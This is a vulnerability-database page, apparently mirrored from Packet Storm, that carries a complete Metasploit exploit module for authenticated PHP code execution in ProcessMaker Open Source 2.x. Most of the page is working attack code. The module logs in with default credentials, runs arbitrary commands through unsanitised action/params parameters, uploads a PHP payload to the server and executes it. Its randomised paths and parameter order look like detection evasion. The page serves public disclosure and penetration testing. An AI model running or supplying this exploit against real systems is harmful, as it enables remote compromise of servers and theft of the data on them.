Lucene search
K

ProcessMaker Open Source Authenticated PHP Code Execution

🗓️ 30 Oct 2013 00:00:00Reported by Brendan ColesType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

ProcessMaker Open Source PHP Code Execution Vulnerability in 'neoclassic' skin allows authenticated user to execute code. Default in version 2.x, cannot be removed via web interface

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "ProcessMaker Open Source Authenticated PHP Code Execution",  
'Description' => %q{  
This module exploits a PHP code execution vulnerability in the  
'neoclassic' skin for ProcessMaker Open Source which allows any  
authenticated user to execute PHP code. The vulnerable skin is  
installed by default in version 2.x and cannot be removed via  
the web interface.  
},  
'License' => MSF_LICENSE,  
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',  
'References' =>  
[  
['OSVDB', '99199'],  
['BID', '63411'],  
['URL', 'http://bugs.processmaker.com/view.php?id=13436']  
],  
'Payload' =>  
{  
'Space' => 8190, # HTTP POST  
'DisableNops'=> true,  
'BadChars' => "\x00"  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
# Tested on:  
# * Windows XP SP3 - ProcessMaker Open Source version 2.5.1, 2.5.0, 2.0.23  
# * Debian Linux - ProcessMaker Open Source version 2.0.45  
['ProcessMaker Open Source 2.x (PHP Payload)', { 'auto' => true }]  
],  
'Privileged' => false, # Privileged on Windows but not on *nix targets  
'DisclosureDate' => 'Oct 24 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),  
OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin'])  
], self.class)  
end  
  
#  
# Send command for execution  
#  
def execute_command(cmd, opts = { :php_function => 'system' } )  
# random vulnerable path # confirmed in versions 2.0.23 to 2.5.1  
vuln_url = [  
'/sysworkflow/en/neoclassic/appFolder/appFolderAjax.php',  
'/sysworkflow/en/neoclassic/cases/casesStartPage_Ajax.php',  
'/sysworkflow/en/neoclassic/cases/cases_SchedulerGetPlugins.php'  
].sample  
  
# shuffle POST parameters  
vars_post = Hash[{  
'action' => opts[:php_function],  
'params' => cmd  
}.to_a.shuffle]  
  
# send payload  
vprint_status("Attempting to execute: #{cmd}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, vuln_url),  
'cookie' => @cookie,  
'vars_post' => vars_post  
})  
res  
end  
  
#  
# Login  
#  
def login(user, pass)  
# shuffle POST parameters  
vars_post = Hash[{  
'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'),  
'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal'),  
}.to_a.shuffle]  
  
# send login request  
print_status("Authenticating as user '#{user}'")  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "/sysworkflow/en/neoclassic/login/authentication.php"),  
'cookie' => @cookie,  
'vars_post' => vars_post  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE  
print_error("Connection failed")  
return false  
end  
if res and res.code == 200 and res.body =~ /Loading styles and images/  
print_good("Authenticated as user '#{user}'")  
return true  
else  
print_error("Authenticating as user '#{user}' failed")  
return false  
end  
end  
  
#  
# Check credentials are valid and confirm command execution  
#  
def check  
# login  
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"  
unless login(datastore['USERNAME'], datastore['PASSWORD'])  
return Exploit::CheckCode::Unknown  
end  
  
# send check  
fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)  
vprint_status("Sending check")  
begin  
res = execute_command("echo #{fingerprint}")  
if res and res.body =~ /#{fingerprint}/  
return Exploit::CheckCode::Vulnerable  
elsif res  
return Exploit::CheckCode::Safe  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE  
vprint_error("Connection failed")  
return Exploit::CheckCode::Unknown  
end  
Exploit::CheckCode::Safe  
end  
  
#  
# Write payload to filesystem  
#  
def upload  
# Random PHP function for command execution  
php_function = [  
'exec',  
'shell_exec',  
'passthru',  
'system'  
].sample  
  
# upload payload  
code = "<?php #{payload.encoded} ?>"  
print_status("Sending payload '#{@fname}' (#{code.length} bytes)")  
begin  
res = execute_command("echo \"#{code}\">#{@fname}", { :php_function => php_function } )  
if res and res.code == 200  
print_good("Payload sent successfully")  
register_files_for_cleanup(@fname)  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE  
fail_with(Failure::Unreachable, "#{peer} - Connection failed")  
end  
end  
  
def exploit  
# login  
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"  
unless login(datastore['USERNAME'], datastore['PASSWORD'])  
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")  
end  
  
# upload payload  
@fname = "#{rand_text_alphanumeric(rand(10)+10)}.php"  
upload  
  
# execute payload  
print_status("Retrieving file '#{@fname}'")  
send_request_cgi({'uri' => normalize_uri(target_uri.path, "#{@fname}")})  
end  
end  
  
#  
# Source  
#  
=begin appFolder/appFolderAjax.php  
22:if (($_REQUEST['action']) != 'rename') {  
23: $functionName = $_REQUEST ['action'];  
24: $functionParams = isset ($_REQUEST ['params']) ? $_REQUEST ['params'] : array ();  
26: $functionName ($functionParams);  
=end  
  
=begin cases/casesStartPage_Ajax.php  
16:$functionName = $_REQUEST['action'];  
18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();  
19:$functionName( $functionParams );  
=end  
  
=begin cases/cases_SchedulerGetPlugins.php  
16:$functionName = $_REQUEST['action'];  
18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();  
19:$functionName( $functionParams );  
=end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation